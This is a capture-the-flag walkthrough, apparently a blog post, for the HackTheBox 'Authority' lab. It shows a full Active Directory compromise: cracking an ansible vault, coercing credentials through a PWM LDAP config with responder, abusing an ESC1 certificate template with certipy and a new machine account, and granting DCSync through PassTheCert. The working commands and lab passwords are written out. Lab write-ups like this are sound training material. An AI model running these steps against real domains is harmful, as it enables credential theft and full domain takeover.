HackTheBox — Authority

ARZ101
6 min readDec 9, 2023

Authority involved enumerating smb shares to find ansible vault credentials which on cracking gave access to an open source Password Self Service for LDAP, changing the configuration to perform coercion and getting clear text password for svc_ldap, enumerating certificate templates where domin computers had enrollment rights over a template vulnerable to ESC1, requesting the certificate as administrator, through PassTheCert attack granting DCsync permissions to svc_ldap to become domain admin.

NMAP

PORT      STATE SERVICE       VERSION              
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-07 19:35:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-07T19:36:12+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-09T23:03:21
| Not valid after: 2024-08-09T23:13:21
| MD5: d49477106f6b8100e4e19cf2aa40dae1
|_SHA-1: ddedb994b80c83a9db0be7d35853ff8e54c62d0b
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-07T19:36:12+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-07T19:36:12+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
| Public Key type: rsa
| Public Key bits: 2048
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open ssl/https-alt
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9

Enumerating smb shares, we’ll see two shares, Development and Department Shares

From Development shares, we’ll get Ansible directory which further has directories for LDAP and ADCS

So we’ll just recursively download all files

From LDAP/TODO.md there's a note about changing the admin's LDAP password

We can find the ansible vault encrypted password PWM/defaults/main.yml

To decrypt these, we need the vault password so generating the hash of any of any one with ansible2john.py

With john we can crack the hash with the password !@#$%^&*

The account points towards PWM which is is an open source password self-service application for LDAP directories. We can access the application on port 8443

On logging in, it shows an error about not able to reach the ldap directories

However we can login into configuration manager for PWM

Here we can access the configuration, download the existing configuration and also to upload one as well

We can try adding our own IP to LDAP and run responder to see if it’s reaching our host so we may be able to coerce the authentication from the account with which the application is running

After uploading this file, starting responder we’ll receive clear text password for svc_ldap user

responder -I tun0 -w -d -v

Through crackmapexec, we can verify if this user can read department share

Retrieving these directories recursively but all of these directories were empty

On enumerating users, we don’t get to see any users other than administrator and svc_ldap

Since there was ADCS directory, which points to Active Directory Certificate Services, we can enumerate vulnerable certificate templates with certipy

certipy find -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -vulnerable -stdout -dc-ip 10.10.11.222

This CorpVPN template shows that it has EnrolleSuppliesSubject enable meaning that SAN (Subject Alternative Name) is enabled which allows to request certificate on behalf other user, in other words impersonating any domain user

EKU (Extended Key Usage) is set to Client Authentication which defines the purpose of this template which can be used to authenticate on any of domain server and lastly we have the enrollment rights for domain computers allowed which is known as ESC1 certificate template attack

If we can add a machine account, we can request for administrator's certificate, so verifying if we have machine quota available

Quota of 10 is available, adding a machine account with addcomputer.py from impacket

addcomputer.py -method LDAPS -dc-ip 10.10.11.222 -computer-pass P@ass12345 -computer-name UwU authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!'

After adding the machine account, we can request for administrator's certificate

certipy req -c 'AUTHORITY-CA' -u 'UwU$' -p 'P@ass12345' -template 'CorpVPN' -upn 'administrator' -dc-ip 10.10.11.222

On retrieving the NThash it failed with an error KDC_ERR_PDATA_TYPE_NOSUPP

The reason we couldn't get the hash through this way is because of DC not supporting the PKINIT authentication which is a pre-authentication allowing to retrieve either TGT or NTHash, reason being certificate doesn't have Smart Card Logon EKU installed, having a read on this article, it's still possible to abuse this since we have the administrator's certificate we can do the following attacks

  • Add our created machine account to DC's msDS-AllowedToActOnBehalfOfOtherIdentity property to perform resource based delegation RCBD
  • Modify account's password
  • Granting the low privileged user DCSync rights

This can be achieved through PassTheCert , script needs the key and certificate separately, through certipy we can extract them

certipy cert -pfx administrator.pfx -nokey -out administrator.crt
certipy cert -pfx administrator.pfx -nocert -out administrator.key

Here I am going with granting svc_ldap DCSync rights

python3 /opt/PassTheCert/PassTheCert.py -action modify_user -crt administrator.crt -key administrator.key -target svc_ldap -elevate -domain authority.htb -dc-ip 10.10.11.222

Now logging using evil-winrm on WinRM

References

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